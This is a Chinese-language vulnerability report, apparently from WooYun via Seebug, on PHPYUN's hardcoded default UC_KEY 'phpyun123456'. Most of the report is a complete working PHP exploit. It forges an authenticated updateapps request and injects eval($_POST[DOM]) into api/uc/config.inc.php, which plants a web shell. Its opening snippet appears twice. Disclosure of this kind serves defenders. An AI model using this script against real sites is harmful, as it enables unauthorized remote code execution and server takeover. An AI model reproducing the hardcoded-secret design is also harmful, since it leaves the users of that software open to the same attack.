### 简要描述： PHPYUN设计缺陷导致轻易Getshell ### 详细说明： #1 设计缺陷 phpyun集成了部分ucenter功能,引入了UC_KEY，且默认设置为"phpyun123456" ``` define("UC_KEY","phpyun123456"); ``` 你们难道不知道UC_KEY这个值的威力的多大?好吧 我就当你们不知道，详情请见 ``` [WooYun: Discuz的利用UC_KEY进行getshell](http://www.wooyun.org/bugs/wooyun-2014-048137) ``` ``` http://www.2cto.com/Article/201401/272274.html ``` #2 利用UC_KEY实现Getshell ``` <?php // 代码版权归原作者所有！ $timestamp = time()+10*3600; $host="www.vulns.org"; $uc_key="phpyun123456"; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://x\');eval($_POST[DOM]);//</item> </root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://x</item> </root>'; $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd){ global $host,$code; $message = "POST https://images.seebug.org/upload/api/uc/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept:...
### 简要描述： PHPYUN设计缺陷导致轻易Getshell ### 详细说明： #1 设计缺陷 phpyun集成了部分ucenter功能,引入了UC_KEY，且默认设置为"phpyun123456" ``` define("UC_KEY","phpyun123456"); ``` 你们难道不知道UC_KEY这个值的威力的多大?好吧 我就当你们不知道，详情请见 ``` [WooYun: Discuz的利用UC_KEY进行getshell](http://www.wooyun.org/bugs/wooyun-2014-048137) ``` ``` http://www.2cto.com/Article/201401/272274.html ``` #2 利用UC_KEY实现Getshell ``` <?php // 代码版权归原作者所有！ $timestamp = time()+10*3600; $host="www.vulns.org"; $uc_key="phpyun123456"; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://x\');eval($_POST[DOM]);//</item> </root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://x</item> </root>'; $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd){ global $host,$code; $message = "POST https://images.seebug.org/upload/api/uc/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: ".$host."\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: ".$host."\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; //var_dump($message); $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?> ``` 运行上面的代码 [<img src="https://images.seebug.org/upload/201401/22121424d3d53688761b06819094dbfe6d038b3a.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/22121424d3d53688761b06819094dbfe6d038b3a.jpg) 即可往 api/uc/config.inc.php 写入恶意的代码 [<img src="https://images.seebug.org/upload/201401/2212214678cb6a06ebf5d0b0ae084db261d6c86f.jpg" alt="11.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/2212214678cb6a06ebf5d0b0ae084db261d6c86f.jpg) ### 漏洞证明： # SO... [<img src="https://images.seebug.org/upload/201401/22122058427eb6148f8488c66ae18c0909b6479f.jpg" alt="22.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/22122058427eb6148f8488c66ae18c0909b6479f.jpg)
